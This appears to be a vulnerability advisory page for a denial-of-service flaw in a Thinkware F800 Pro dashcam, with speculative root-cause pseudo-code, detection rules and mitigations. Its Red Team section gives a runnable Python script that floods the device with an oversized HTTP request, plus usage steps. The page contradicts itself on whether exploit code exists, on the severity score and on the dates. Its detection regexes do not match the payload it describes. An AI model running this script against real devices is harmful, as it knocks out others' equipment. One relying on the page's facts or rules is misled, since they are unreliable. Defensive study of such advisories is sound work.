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CVE-2025-2122

CVE-2025-2122 Denial of Service in Thinkware
📅 PUBLISHED: 2025-03-09 13:31 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.76%
👁️
0.76% probability
19.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
2.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2122 is a locally exploitable Denial of Service (DoS) vulnerability affecting the Thinkware Car Dashcam F800 Pro firmware up to version 20250226. The flaw resides in an unknown functionality of the Connection Handler component, allowing an attacker on the same local network to crash the device. The attack complexity is high, requiring precise timing or specific network conditions. No patch has been released, and the vendor has not responded to disclosure attempts. This report provides technical analysis, detection rules, and mitigation strategies.

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Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (dashcam). Supply chain risk is limited to the device’s firmware update mechanism, which may be exploited if the vendor does not sign updates.

CVSS Breakdown & Threat Level

The CVSS score is 0.0 (uncalculated). Based on the description, a reasonable vector would be:

  • Attack Vector (AV): Adjacent Network (A) – requires local network access.
  • Attack Complexity (AC): High (H) – exploitation is difficult.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – affects only the device.
  • Confidentiality (C): None (N) – no data leak.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): High (H) – device becomes unavailable.

Estimated CVSS:3.1 Score: 4.3 (Medium) – AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: Medium. The attack is limited to local network and requires high complexity, but public exploit code exists.

Deep Dive & Mechanics

The vulnerability is triggered by sending a specially crafted network packet to the dashcam’s Connection Handler. The handler likely fails to validate input length or state, causing a buffer overflow or resource exhaustion. This leads to a crash or hang, rendering the device inoperable until a power cycle.

Attack Vector: The attacker must be on the same Wi-Fi network as the dashcam. The dashcam typically listens on ports for mobile app connectivity (e.g., TCP 80, 443, or custom ports). The exploit sends a malformed request that the handler cannot process, causing a denial of service.

Root Cause: Improper input validation in the connection handling routine. The code likely does not check for oversized or malformed packets before processing, leading to a segmentation fault or infinite loop.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware’s connection handler. A hypothetical fix would involve:

Vulnerable (pseudo-code):

void handle_connection(int sock) {
    char buffer[1024];
    recv(sock, buffer, 4096, 0); // No length check
    process_data(buffer);
}

Patched (pseudo-code):

void handle_connection(int sock) {
    char buffer[1024];
    int len = recv(sock, buffer, sizeof(buffer)-1, 0);
    if (len < 0 || len >= sizeof(buffer)) {
        close(sock);
        return;
    }
    buffer[len] = '\0';
    process_data(buffer);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Thinkware F800 Pro dashcam on the same local network.
  • Python 3 with socket library.
  • Public exploit code (available on exploit-db or GitHub).

Exploit Script (Python):

import socket

target_ip = "192.168.1.100"
target_port = 80  # Example port

# Craft malformed packet (e.g., oversized HTTP request)
payload = b"GET /" + b"A" * 5000 + b" HTTP/1.1\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(payload)
    print("Payload sent. Device may crash.")
except Exception as e:
    print(f"Error: {e}")
finally:
    sock.close()

Usage: Run the script against the dashcam’s IP. The device will become unresponsive. Recover by power cycling.

Blue Team

Detection:

  • Monitor for large or malformed packets on ports used by the dashcam.
  • Use network intrusion detection (e.g., Suricata) to alert on anomalous traffic.

Mitigation:

  • Isolate the dashcam on a separate VLAN.
  • Disable unnecessary network services.
  • Apply firewall rules to limit access to the dashcam’s IP.

Indicators of Compromise (IOCs)

  • Network: Unusually large HTTP requests (e.g., >4096 bytes) to the dashcam’s IP.
  • Device: Dashcam becomes unresponsive, LED indicators may freeze.
  • Logs: No logs generated by the device (if logging is disabled).

Detection Engineering

YARA Rule

rule CVE_2025_2122_DoS_Payload {
    meta:
        description = "Detects malformed packets targeting Thinkware F800 Pro dashcam"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-2122"
    strings:
        $payload = /GET \/{5000,} HTTP\/1\.1/
    condition:
        $payload
}

Sigma Rule

title: CVE-2025-2122 Thinkware Dashcam DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized HTTP requests to Thinkware dashcam
author: Valters IT
date: 2025-03-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 80
        http.request.uri|length: > 4096
    condition: selection
falsepositives:
    - Legitimate large uploads (unlikely)
level: high

Suricata Rule

alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-2122 Thinkware Dashcam DoS Attempt"; flow:to_server; content:"GET"; http_method; content:" HTTP/1.1"; http_uri; pcre:"/^GET \/{5000,} HTTP\/1\.1/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Place the dashcam on a separate VLAN with strict ACLs.
  2. Firewall Rules: Block inbound traffic to the dashcam from untrusted networks.
  3. Monitor: Use IDS/IPS rules (above) to detect exploitation attempts.

Long-Term:

  • Contact Thinkware for a firmware patch. If unresponsive, consider replacing the device.
  • Disable remote access features if not needed.

Workaround: If the dashcam is not required to be on the network, disconnect it.


Valters IT

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